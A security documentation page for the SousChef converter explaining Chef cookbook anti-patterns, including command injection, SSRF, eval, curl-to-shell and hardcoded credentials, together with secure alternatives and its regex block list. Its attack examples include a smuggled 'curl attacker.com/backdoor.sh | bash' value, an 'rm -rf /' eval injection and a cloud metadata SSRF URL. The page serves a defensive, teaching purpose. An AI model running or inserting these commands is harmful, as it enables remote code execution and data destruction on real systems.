Security Anti-Patterns in Chef Cookbooks#
Purpose: This document identifies common security anti-patterns found in Chef cookbooks that SousChef's test fixtures intentionally demonstrate. These patterns represent real-world code that the converter must handle, but should never be copied into production.
Overview#
SousChef's test fixtures in tests/integration/fixtures/ contain intentionally insecure Chef code patterns. These examples serve two purposes:
- Test Converter Robustness: Verify SousChef can parse and convert real-world Chef code (which often contains security issues)
- Security Education: Document what patterns to avoid and why they're dangerous
This document explains each anti-pattern, why it's dangerous, and provides secure alternatives.
Anti-Pattern 1: String Interpolation in Shell Commands#
Location#
tests/integration/fixtures/docker_cookbook/resources/container.rb (line 24)
Insecure Code#
execute "pull-docker-image-#{new_resource.image}" do
command "docker pull #{new_resource.image}:#{new_resource.tag}"
not_if "docker images | grep -q #{new_resource.image}"
end
Why It's Dangerous#
- Command Injection (CWE-78): If
new_resource.imagecontains shell metacharacters (;,|,&,$(), etc.), the attacker can execute arbitrary commands - String Concatenation Risk: Ruby's
#{}interpolation doesn't escape shell special characters - Attack Vector: A malicious cookbook attribute like
image: "nginx; rm -rf /"would execute both commands
Attack Example#
# Attacker-controlled attribute:
default['myapp']['image'] = "nginx; curl http://attacker.com/backdoor.sh | bash"
# Results in command:
# docker pull nginx; curl http://attacker.com/backdoor.sh | bash:latest
Secure Alternative#
execute "pull-docker-image-#{new_resource.image}" do
# Use array form - Chef passes arguments directly without shell interpretation
command ["docker", "pull", "#{new_resource.image}:#{new_resource.tag}"]
not_if { ::File.exist?("/var/lib/docker/image/...") } # Or use proper Docker API
end
Defence Mechanisms#
- Array Form Commands: Always use array
["cmd", "arg1", "arg2"]instead of strings - Input Validation: Validate image names against regex:
^[a-z0-9][a-z0-9._-]*(/[a-z0-9._-]+)*$ - Avoid Shell Metacharacters: Never allow
;|&$()<>in parameters - Use APIs: Prefer Docker SDK/API over shell commands
OWASP Mapping#
- OWASP Top 10: A03:2021 - Injection
- CWE: CWE-78 (Improper Neutralisation of Special Elements used in OS Command)
- CAPEC: CAPEC-88 (OS Command Injection)
Anti-Pattern 2: Variable Interpolation in URLs#
Location#
tests/integration/fixtures/habitat_package/plan.sh (line 9)
Insecure Code#
Why It's Dangerous (When Misused)#
- SSRF Vulnerabilities (CWE-918): If
pkg_sourceuses user-controlled variables, attackers can make the build system fetch arbitrary URLs - DNS Rebinding: Attacker can point domain to internal IP after DNS lookup
- Local File Access: URLs like
file:///etc/passwdcould expose sensitive files - Internal Network Scanning: Attacker discovers internal services by forcing requests to private IPs
Attack Example#
# Attacker-controlled input (unsafe):
pkg_name_from_user="../../../../../../etc/passwd%23"
pkg_source="https://example.com/${pkg_name_from_user}.tar.gz"
# Results in: https://example.com/../../../../../../etc/passwd#.tar.gz
# SSRF attack:
pkg_source_from_user="http://169.254.169.254/latest/meta-data/" # AWS metadata
Why THIS Example is Safe#
The test fixture uses hardcoded local variables only:
- pkg_name is defined in same file (line 5): pkg_name=nginx
- pkg_version is defined in same file (line 7): pkg_version="1.25.3"
- No external input involved
Secure Alternative#
# 1. Hardcode trusted URLs (preferred for packages)
pkg_source="https://nginx.org/download/nginx-1.25.3.tar.gz"
pkg_shasum="f9187468ff2eb159260bfd53867c25ff8e334726237acf5021f65f95f8d3f945"
# 2. If dynamic URLs needed, validate thoroughly:
validate_url() {
local url="$1"
# Parse URL components
if ! [[ "$url" =~ ^https:// ]]; then
echo "Error: Only HTTPS URLs allowed" >&2
return 1
fi
# Extract hostname
hostname=$(echo "$url" | sed -E 's|^https://([^/]+).*|\1|')
# Block private IP ranges
if host "$hostname" | grep -qE '(^127\.)|(^10\.)|(^172\.(1[6-9]|2[0-9]|3[0-1])\.)|(^192\.168\.)'; then
echo "Error: Private IP addresses not allowed" >&2
return 1
fi
# Block local/internal domains
if [[ "$hostname" =~ \.(local|internal|localhost)$ ]]; then
echo "Error: Local domains not allowed" >&2
return 1
fi
echo "$url"
}
pkg_source=$(validate_url "https://nginx.org/download/${pkg_name}-${pkg_version}.tar.gz")
Defence Mechanisms#
- HTTPS-Only: Reject
http://,ftp://,file://schemes - Allowlist Domains: Only permit known-safe domains (e.g.,
*.github.com,*.npmjs.org) - IP Range Blocking: Block RFC1918 private IPs, loopback, link-local, multicast
- DNS Validation: Resolve hostname and block private IPs before request
- URL Parsing: Use proper URL parser, validate each component separately
OWASP Mapping#
- OWASP Top 10: A10:2021 - Server-Side Request Forgery (SSRF)
- CWE: CWE-918 (Server-Side Request Forgery)
- CAPEC: CAPEC-664 (Server Side Request Forgery)
Anti-Pattern 3: Using eval in Shell Scripts#
Insecure Code#
Why It's Dangerous#
- Arbitrary Code Execution:
evalexecutes string as code - No Input Validation: Any shell command can be injected
- Cascading Attacks: Can modify system, install backdoors, exfiltrate data
Attack Example#
# Attacker provides:
user_input='Hello"; rm -rf /; echo "'
eval "echo $user_input"
# Executes: echo Hello"; rm -rf /; echo "
# Result: System wiped
Secure Alternative#
# Use parameter expansion and proper quoting:
user_input="$1"
echo "$user_input" # Safely prints literal value
# For computed variable names, use indirect expansion:
var_name="my_config"
value="${!var_name}" # Safer than eval
SousChef Converter Behaviour#
SousChef's Habitat converter (souschef/converters/habitat.py) blocks eval patterns by default:
dangerous_patterns = [
(r"curl.*\|.*sh", "Piping curl output to shell"),
(r"wget.*\|.*sh", "Piping wget output to shell"),
(r"\beval\b", "Use of eval command"),
]
for pattern, description in dangerous_patterns:
if re.search(pattern, callback_content):
raise SecurityError(
f"Dangerous pattern detected: {description}\n"
f"Use --allow-dangerous-patterns to override (not recommended)"
)
Defence Mechanisms#
- Never Use
eval: Almost always avoidable - Input Validation: If unavoidable, validate against strict allowlist
- Sandboxing: Run in restricted shell (rbash) or container
- Static Analysis: Tools should flag
evalusage
OWASP Mapping#
- OWASP Top 10: A03:2021 - Injection
- CWE: CWE-95 (Improper Neutralisation of Directives in Dynamically Evaluated Code)
Anti-Pattern 4: Piping curl/wget to Shell#
Insecure Code#
# EXTREMELY DANGEROUS:
curl https://example.com/install.sh | bash
wget -O - https://example.com/install.sh | sh
Why It's Dangerous#
- No Integrity Verification: Script could be modified in transit
- MitM Attacks: Attacker on network can inject malicious code
- No Inspection: Code runs before you can review it
- Privilege Escalation: Often run as root during system setup
Attack Scenarios#
- DNS Hijacking: Attacker compromises DNS, redirects domain to malicious server
- BGP Route Hijacking: Network-level attack redirects traffic
- Compromised CDN: If installation script hosted on CDN, attackers may compromise it
- Typosquatting: User mistypes URL, downloads malware
Secure Alternative#
# 1. Download, verify checksum, then execute:
curl -fsSL https://example.com/install.sh -o install.sh
echo "expected_sha256_hash install.sh" | sha256sum -c -
bash install.sh
# 2. Use package manager:
apt-get install package-name # Verifies signatures
# 3. For Habitat plans, validate source:
pkg_source="https://example.com/package.tar.gz"
pkg_shasum="f9187468ff2eb159260bfd53867c25ff8e334726237acf5021f65f95f8d3f945"
# Habitat will verify checksum before executing
SousChef Converter Behaviour#
The Habitat converter blocks these patterns:
if re.search(r"curl.*\|.*sh", callback_content):
raise SecurityError(
"Dangerous pattern detected: Piping curl output to shell\n"
"Download script, verify integrity, then execute separately"
)
Defence Mechanisms#
- Checksum Verification: Always verify SHA256/SHA512 of downloaded scripts
- HTTPS + Certificate Pinning: Ensure TLS prevents MitM
- Code Review: Download, inspect, then execute manually
- Official Packages: Prefer OS package managers with signature verification
OWASP Mapping#
- OWASP Top 10: A08:2021 - Software and Data Integrity Failures
- CWE: CWE-494 (Download of Code Without Integrity Check)
Anti-Pattern 5: Hardcoded Credentials#
Insecure Code#
# NEVER do this:
database_connection 'app_db' do
connection(
host: 'db.example.com',
username: 'admin',
password: 'SuperSecret123!' # Hardcoded!
)
end
Why It's Dangerous#
- Version Control Exposure: Credentials committed to Git history
- Public Repository Leaks: Accidentally pushed to public GitHub
- Log Contamination: Passwords appear in Chef logs
- Rotation Difficulty: Changing password requires code changes
Secure Alternative#
# Use Chef Vault or encrypted data bags:
chef_vault_item = chef_vault_item('passwords', 'database')
database_connection 'app_db' do
connection(
host: 'db.example.com',
username: chef_vault_item['username'],
password: chef_vault_item['password']
)
end
# Or environment variables (better for containers):
database_connection 'app_db' do
connection(
host: node['db_host'],
username: ENV['DB_USERNAME'],
password: ENV['DB_PASSWORD']
)
end
Defence Mechanisms#
- Secrets Management: Use Chef Vault, HashiCorp Vault, AWS Secrets Manager
- Environment Variables: Better than hardcoding, but still needs protection
- Secret Scanning: Use TruffleHog, git-secrets to detect commits
- Rotation: Implement automatic credential rotation
- Audit: Monitor who accesses secrets and when
Converter Security Validation#
Current Protections in SousChef#
- Habitat Converter (
souschef/converters/habitat.py): - Blocks
curl|shandwget|shpatterns by default - Blocks
evalusage - Requires
--allow-dangerous-patternsflag to override -
Documents security implications in generated Dockerfiles
-
Playbook Converter (
souschef/converters/playbook.py): - Validates Chef Server URLs for SSRF protection
- Blocks private IP ranges in generated inventory scripts
-
Enforces HTTPS-only connections
-
Recipe Parser (
souschef/parsers/recipe.py): - Regex timeout protection (prevents ReDoS attacks)
- Manual block parser for nested structures
- Length limits on parsed resources
Validation Recommendations#
When converting Chef cookbooks, SousChef should:
- Detect Command Injection:
- Flag string interpolation in
executeresources - Recommend array form commands
-
Warn about shell metacharacters in variables
-
Detect SSRF Risks:
- Validate all URL constructions
- Flag dynamic URL components from attributes
-
Recommend URL validation functions
-
Flag Dangerous Patterns:
- Detect
eval, backticks,system()calls - Flag
curl|shandwget|shpatterns -
Warn about
shell=Truein subprocess calls -
Credential Detection:
- Scan for hardcoded passwords (regex patterns)
- Detect
password: "..."in resource blocks - Recommend Chef Vault or environment variables
Testing Strategy#
Test Fixture Philosophy#
SousChef's test fixtures intentionally contain insecure code because:
- Real-World Representation: Many production Chef cookbooks have these issues
- Converter Robustness: Tool must handle imperfect input gracefully
- Security Education: Documented examples teach secure alternatives
- Validation Testing: Verify security warnings are triggered correctly
Test Fixture Security Markers#
All test fixtures with intentional vulnerabilities must include:
# WARNING SECURITY WARNING - TEST FIXTURE ONLY - ANTI-PATTERN EXAMPLE
# [Description of vulnerability]
#
# SECURE ALTERNATIVE:
# [Code example of secure version]
#
# This test fixture is intentionally insecure to verify the converter
# can handle real-world Chef code patterns. DO NOT copy this pattern.
Validation Test Cases#
For each anti-pattern, tests should verify:
- Parser Handles Code: Converter doesn't crash on insecure patterns
- Security Warning Emitted: Tool warns users about detected issues
- Secure Alternative Suggested: Conversion includes remediation guidance
- Conversion Accuracy: Even insecure code is converted correctly
References#
Security Standards#
Chef-Specific Security#
Related SousChef Documentation#
- SECURITY.md - Security policy and features
- Migration Safety and Validation - Migration security practices
Contributing#
When adding new test fixtures with security anti-patterns:
- Add clear warning comments explaining the vulnerability
- Document the secure alternative in comments
- Add entry to this document explaining the pattern
- Include test cases that verify security warnings
- Never use real credentials or sensitive data
See Contributing for full guidelines.